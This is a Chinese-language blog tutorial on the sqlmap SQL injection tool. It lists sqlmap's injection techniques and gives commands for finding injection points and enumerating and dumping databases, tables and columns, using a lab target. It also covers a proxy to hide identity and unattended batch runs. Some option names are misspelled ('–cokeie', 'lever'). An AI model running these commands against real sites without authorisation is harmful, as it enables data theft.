SQLMAP工具介绍、基本命令及简单使用

工具介绍

sqlmap是一款自动化的SQL注入工具,其主要功能就是自动化扫描,发现并利用给定的URL的SQL注入漏洞,内置了很多绕过的插件。
支持现在几乎所有的数据库MySQL、Oracle、Microsoft SQL Server、Microsoft Access、IBM DB2等。
支持代理,优化算法,更高效。
通过指纹识别技术来判断数据库。
当数据库管理系统是MySQL、PostgreSQL或Microsoft SQL Server时支持下载或上传文件。
当数据库管理系统是MySQL、PostgreSQL或Microsoft SQL Server时支持执行任意命令并回显标准输出。

SQLMAP主要采取以下5种独特的SQL注入技术。(还支持get、post、cookie注入)

  1. 布尔类型盲注,根据返回页面的判断条件真假进行注入。
  2. 时间盲注,再不能根据页面返回的内容判断任何信息的时候,要用条件语句查看时间延迟语句是否已执行(即页面返回时间是否增加)来进行判断。
  3. 报错注入,根据页面返回的错误信息,或者把注入的语句的结果直接返回到叶面中。
  4. 联合查询注入,在可以使用“union”的情况下的注入。
  5. 堆叠查询注入,可以同时执行多条语句时的注入。

基本命令

前置条件:目标存在注入点

sqlmap.py -u url地址
举例:sqlmap.py -u http://192.168.0.1/sqli/Less-1/?id=1

当注入点后的参数大于两个的时候,url地址需要加双引号
举例:sqlmap.py -u “http://192.168.0.1/sqli/Less-1/?id=1&uid=2”

默认lever等级为1,可以在后面使用 -level 指定等级

获取目标

直接连接数据库

sqlmap.py -u http://192.168.0.1/sqli/Less-1/?id=1

sqlmap -l 解析日志文件中的目标(一般和Burp Suite工具联合实现自动化、批量化检测)

sqlmap -x 从远程xml文件中解析目标(不太常用)

sqlmap -m 扫描在同一个文本中的多个目标

sqlmap -r 从一个HTTP请求里面解析目标(一般在存在cookie注入时使用)
举例:sqlmap.py -r /root/desktop/1.txt

sqlmap -g 使用谷歌搜索结果作为目标来执行 (天朝自带特色无法使用)

执行检测语句
检查注入点:

sqlmap.py -u http://192.168.0.1/sqli/Less-1/?id=1

列出数据库信息:

sqlmap.py -u http://192.168.0.1/sqli/Less-1/?id=1 --dbs

指定库名列出所有表(-D可以写成–dbs):

sqlmap.py -u http://192.168.0.1/sqli/Less-1/?id=1 -D 数据库名 --tables

指定库名表名列出所有字段(-T可以写成–tables):

sqlmap.py -u http://192.168.0.1/sqli/Less-1/?id=1 -D 数据库名 -T 表名 --columns

指定库名表名字段dump出指定字段(dump下载):

sqlmap.py -u http://192.168.0.1/sqli/Less-1/?id=1 -D 数据库名 -T 表名 -C 字段1,字段2,字段3 --dump

也可以不用检测数据库,可以直接–dump-all数据库,缺点就是数据量大,下载慢。

拓展语句

有几个参数可能会用到,直接加在最后面即可,更多的参数可以参见官方文档

–cokeie=COOKIE 在需要登陆的地方,需要使用登陆后的cookie

–proxy=“http://127.0.0.1:8087” 使用HTTP代理隐藏自己的身份,比如使用goagen等

–sql-query=QUERY 执行一个SQL语句,但是不一定支持

–batch 默认执行Y,不用手动去选择,无人值守的时候,自动化默认的选择“Y”,智能的选择一个SQLMAP认为的最优的命令的执行。

猜你喜欢

转载自blog.csdn.net/weixin_42250835/article/details/111830324